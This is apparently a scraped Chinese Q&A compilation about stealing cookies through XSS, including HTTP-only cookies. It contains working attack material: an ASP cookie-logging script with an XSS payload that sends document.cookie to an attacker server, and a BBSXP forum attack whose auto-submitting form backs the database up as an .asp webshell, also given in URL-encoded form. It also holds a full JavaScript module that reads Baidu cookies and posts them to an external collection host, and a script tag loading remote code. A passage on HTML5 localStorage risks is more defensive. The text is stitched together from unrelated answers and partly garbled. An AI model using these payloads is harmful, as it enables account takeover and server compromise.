如何通过 xss 获取受 http-only さcookie
XSS获取cookie并利用 获取cookie利用代码cookie.asp xx 把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:10.65.20.196:8080。 XSS构造语句 window.open('10.65.20.196:8080/cookie.
最近网上流行的XSS是什么意思
就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。 然后利用下面的技术得到一个shell.[编辑本段]如何利用 传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。[编辑本段]来自内部的跨站攻击 寻找跨站漏洞 如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入〈script〉alert(‘test’)〈/script〉,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个〈/script〉,这个时候,你只要闭合一个〈/script〉,代码就会执行,如:你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。 如何利用 我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例. a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入: c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。 d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示 除此之外我们只要在个人签名里输入 同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell. 上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名 处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的 攻击,对于flash木马的制作,下面见哥们丰初的介绍。 再利用如下: 修改一下个人头像的url,输入代码如下: 再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。[编辑本段]来自外部的跨站攻击 有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论谈,论谈的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。 例:先上传一个文件linzi.txt,内容如下: 〈body onload="javascript:document.forms[0].submit()"〉〈form action=" http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf " method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉 上面的代码是把论谈的数据库备份为shit.asp,留言板存在跨站点如下: http://127.0.0.1/bbsxp/page2.asp?username= 我们构造备份跨站语句如下: http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E 或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。 当管理员打开后,会自动备份得到一个shell.[编辑本段]XSS与其它技术的结何 从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。 总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧! 好一个欺骗也是一门艺术,不管是在生活中还是在网络中。生活中难免有些事情不能讲真话,这时采用适当的方法使得我们的假话当作真话讲,这就靠欺骗的艺术了。
黑客进行xss跨站攻击所嵌入的代码是不是一般来说都是获取用户cookies
我认为应该有几点:
1、针对性挂马。所以这类网站一定是游戏网站,银行网站或者是关于qq、taobao或者影响力相当大的网站等,它们必须有我们平常需要盗取的帐号密码;当然也或许是这个站点的浏览量相当高,我们能将更多的马挂出去。而如果仅仅是平平常常的一个小站点的XSS漏洞,如果我们要挂马,那么还不如就直接把木马页面地址贴出去。
2、用户权限下操作。这类网站则必须有会员了,而且这些会员有很多有意义的操作或者有我们需要的内部个人资料,所以我们可以通过XSS对已登录访问者进行有权限操作。我认为cookies的盗取应该算作这一项,因为其目的也是获取用户操作权限(盗密码包括在内),从而获取用户某些信息或者进行权限下的相关操作。
3、DDOS攻击或傀儡机。这同样需要一个访问量非常大的站点,利用小站点莫不如我们自己攻击或获取信息。我们可以通过此页的访问用户不间断地攻击其他站点,或者进行局域网扫描等等。这类js工具早已经产生,js端口扫描、jikto、xssshell等等。
4、提权。一般这主要发生在论坛或信息管理系统,总之一定要有管理员了。这需要攻击者对目标系统相当熟悉(一般这样的系统需要开源代码),从而知道怎样构造语句进行提权。
5、实现特殊效果。譬如我在百度空间的插入视频,插入版块;譬如一些人在新浪博客或者校内网实现的特殊效果等等。
html5 localstorage 怎么取存储条数
在HTML5本地存储出现以前,WEB数据存储的方法已经有很多,比如HTTP Cookie,IE userData,Flash Cookie,Google Gears。其实再说细点,浏览WEB的历史记录也算是本地存储的一种方式。到目前为止,HTML5本地存储方式已经获得了广泛的支持,其中支持的浏览器包括:IE 8+、FF 3.5+、Safari 4+、Chrome 4+、Opera 10.5+,手机平台包括iPhone 2+和Android 2+。最新的HTML5本地存储规范文档,可以在线查看
http://dev.w3.org/html5/webstorage/
HTML5本地存储的前身就是Cookie,通过使用localStorage对象将WEB数据持久留存在本地。相比较而言,HTML5本地存储中每个域的存储大小默认是5M,比起Cookie的4K要大的多。而且存储和读取数据的代码极为简练:
那么现在我们是否可以简单的认为,HTML5存储已经可以代替Cookie存储了呢?还有这种新的存储方式在实际应用中带来了哪些新的安全风险呢?带着这些疑问我们来进行下面的讨论。
(1) 是否可以代替Cookie
浏览器使用Cookie进行身份验证已经好多年,既然现在localStorage存储空间那么大,是否可以把身份验证的数据直接移植过来呢?目前来看,把身份验证数据使用localStorage进行存储还不太成熟。我们知道,通常可以使用XSS漏洞来获取到Cookie,然后用这个Cookie进行身份验证登录。后来为了防止通过XSS获取Cookie数据,浏览器支持了使用HTTPONLY来保护Cookie不被XSS攻击获取到。而目前localStorage存储没有对XSS攻击有任何抵御机制,一旦出现XSS漏洞,那么存储在localStorage里的数据就极易被获取到。
如果一个网站存在XSS漏洞,那么攻击者注入如下代码,就可以获取使用localStorage存储在本地的所有信息。
攻击者也可以简单的使用localStorage.removeItem(key)和localStorage.clear()对存储数据进行清空。
(2) 不要存储敏感信息
从(1)中知道,从远程攻击角度来看,localStorage存储的数据容易被XSS攻击获取,所以不宜把身份验证信息或敏感信息用localStorage存储。而从本地攻击角度来看, localStorage自身的存储方式和存储时效并不宜存储敏感信息。
五大浏览器现在都已经支持以localStorage方式进行存储,其中Chrome,Opera,Safari这三款浏览器中都有了查看本地存储的功能模块。但是不同浏览器对localStorage存储方式还是略有不同的。以下是五大浏览器localStorage存储方式:
通过上面的描述可以看出,除了Opera浏览器采用BASE64加密外(BASE64也是可以轻松解密的),其他浏览器均采用明文存储数据。
另一方面,在数据存储的时效上,localStorage并不会像Cookie那样可以设置数据存活的时限,只要用户不主动删除,localStorage存储的数据将会永久存在。
根据以上对存储方式和存储时效的分析,建议不要使用localStorage方式存储敏感信息,那怕这些信息进行过加密。
(3) 严格过滤输入输出
对于本地存储,为了方便加载数据,常常会把数据存储在本地,等再次加载时,直接从本地读取数据显示在网页上。在某些情况下,在localStorage存储中写入或读取数据的时候,如果数据没有经过输入输出严格过滤,那么这些数据极可能被作为HTML代码进行解析,从而产生XSS攻击。
Twitter就发生过localStorage XSS漏洞。此漏洞触发的条件是,在Twitter的个人主页上执行以下存储代码后,每次再打开个人主页时就会弹出/xss/框。
从这段代码可以看出,Twitter会使用localStorage方法把一些个人数据存储到本地,每次加载个人主页面的时候就会从本地存储获取数据,然后由于Twitter忽略了对去除数据的严格过滤,导致存储的代码会被当作HMTL编码执行,进而发生跨站攻击。
有关Twitter localStorage XSS 漏洞详的细信息可以查看:http://www.wooyun.org/bugs/ wooyun-2010-03075。虽然Twitter这个漏洞利用起来非常困难,但它再一次告诉我们:本着一切输入输出都是有害的原则,要对数据进行严格的输入输出过滤。
(4) 容易遭受跨目录攻击
localStroage存储方式不会像Cookie存储一样可以指定域中的路径,在localStroage存储方式中没有域路径的概念。也就是说,如果同一个域下的任意路径存在XSS漏洞,整个域下存储的数据在知道存储名称的情况下都可以被获取到。
假设下面两个链接是使用localStorage来存储数据:
用户xisigr和xhack各自的blog链接虽然属于同一个域,但却有不同的路径,一个路径为xisigr,另一个路径为xhack。假设xisigr用户发现自己的路径下存在存储型XSS漏洞,那么就可以在自己的blog中加入获取数据代码,其中核心代码为localStorage.getItem(“name”)。xhack用户并不需要登录blog,他只要访问http://h.example.com/xisigr,本地存储数据就会被获取到。
(5) 容易遭受DNS欺骗攻击
Google在没有使用HTML5本地存储前,是使用Google Gears方式来进行本地存储的。那时Google Gears就遭到过DNS欺骗攻击。Google Gears支持离线存储,可以把Gmail,WordPresss这样的网站数据以SQLite数据库的形式存储下来,以后用户就可以对存储的网站数据进行离线读取或删除操作。如果攻击者发动DNS欺骗攻击,那么就可以注入本地数据库,获取数据或者留下永久的后门,造成对用户持久的危害。Google Gears所遭受的DNS欺骗攻击方式在HTML5本地存储上也是同样有效的。
(6) 恶意代码栖息的温床
在第六点中给出“恶意代码栖息的温床”这个小标题有些夸大的效果。其实这里想说的是,HTML5本地存储在空间上和时间上都将成为今后存储的趋势,料想“恶意代码们”自然会大雁南飞转移栖息到这张温床上。
那么,何为HTML5本地存储的空间和时间呢?空间这里指的是存储空间,比起Cookie 4K空间的微小来说,HTML5的localStroage方法默认就可以使浏览器存储5M空间可以说是博大,而Safari浏览器可以支持到500M更加让HTML5存储霸气外露。时间上,随着HTML5技术日渐成熟,除了各大浏览器厂商争先在自己的产品中支持HTML5外,一些大应用软件厂商也对其信赖有加。比如2011年11月Adobe宣布放弃手机上的FLASH, 而由HTML5全面取而代之。随着时间的推移,HTML5大步流星的前行速度也会越来越快,也会使得用到HTML5本地存储的应用会越来越多。
上面从理论上分析了 “恶意代码栖息的温床”的可能性。而从实际技术上的可行性也非常简单。下面是在本地留后门的核心代码:
以上分析,均出自天融信TopLAB前沿安全实验室的研究,希望借此文让HTML5的本地存储安全问题得到大家的广泛重视。HTML5非常精彩,但也存在风险,我们要做的工作还很多。
xss漏洞获取cookie怎么解决方案
XSS获取cookie并利用
获取cookie利用代码cookie.asp
html
titlexx/title
body
%testfile = Server.MapPath('code.txt') //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
msg = Request('msg') //获取提交过来的msg变量,也就是cookie值
set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(''msg'')//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%
/body
/html
把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:http://10.65.20.196:8080。
XSS构造语句
scriptwindow.open('http://10.65.20.196:8080/cookie.asp?msg='+document.cookie)/script
把上述语句放到你找到的存在XSS的目标中,不过这里最好是存储型xss,比如你找到了某个博客或者论坛什么的存在存储型XSS,你在里面发一篇帖子或者留上你的评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,就会触发,然后跳转到的页面,然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。
简单步骤如下:
1、在存在漏洞的论坛中发日志:
X
2、然后以管理远登陆,进入后页面会跳转,此时cookie就发送到你的服务器下的code.txt文件中了:
3、这是没有账户前的登陆界面:
4、打开firefox的Tamper Data插件,点击Start Tamper开始抓取信息,刷新登陆界面,然后会跳出对话框,点击Tamper按钮,在途中的cookie一栏中替换掉你抓取到的cookie,单击确定发送请求数据:
5、替换cookie后不用输用户名密码就顺利进入管理员账户了:
如何通过 XSS 获取受 http-only さcookie
该测试页返回了完整的http头,其中也包括了完整的cookie。混贴吧圈的应该都知道BDUSS是最关键的字段,同时该字段是受http-only保护的,百度SRC之前也因此下调了XSS的评分标准。
02.jpg
这样,我们只要利用XSS平台的"指定页面源码读取"模块即可通过XSS获取用户的完整cookie。该模块代码如下:
code 区域
var u = 'http://buv.me/index.php?do=apiid={projectId}';
var cr;
if (document.charset) {
cr = document.charset
} else if (document.characterSet) {
cr = document.characterSet
};
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest()
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for (var n = 0; n MSXML.length; n++) {
try {
xmlHttp = new ActiveXObject(MSXML[n]);
break
} catch(e) {}
}
}
}
createXmlHttp();
xmlHttp.onreadystatechange = writeSource;
xmlHttp.open("GET", "http://appstest.baidu.com/http/echoheader.php", true);
xmlHttp.send(null);
function postSource(cc) {
createXmlHttp();
url = u;
cc = "mycode=" + cc;
xmlHttp.open("POST", url, true);
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttp.setRequestHeader("Content-length", cc.length);
xmlHttp.setRequestHeader("Connection", "close");
xmlHttp.send(cc)
}
function writeSource() {
if (xmlHttp.readyState == 4) {
var c = new postSource(xmlHttp.responseText)
}
}
由于是用xmlHttpRequest的形式读源码,且 http://appstest.baidu.com/ 的 Access-Control-Allow-Origin 为空,即默认不允许跨域,所以我们必须在同域下才能用xmlHttpRequest获取到完整的cookie。
我在 http://wooyun.org/bugs/wooyun-2014-051026/trace/e80c9b4ecb9c252d6bdfdb21c335164d 中有提到, http://appstest.baidu.com/abnormalTest/abnormaTest.php?typeName=single 可以自由构造XSS。我们向该页面写入如下代码:
code 区域
titlewooyun.org/title
p超威蓝猫@wooyun.org/p
script src=http://00f.me/XbSWCk/script
如何使用xss平台盗取cookie
截取的是你的网站的 xss真正的原理是将代码插入到某个网页里面,当浏览器访问这个网页的时候,就会执行你写的代码。如果这个代码具有获取cookies的功能,即可获得当前页面的cookies 然而不同的网站cookies是不同的,也是不允许互相访问的。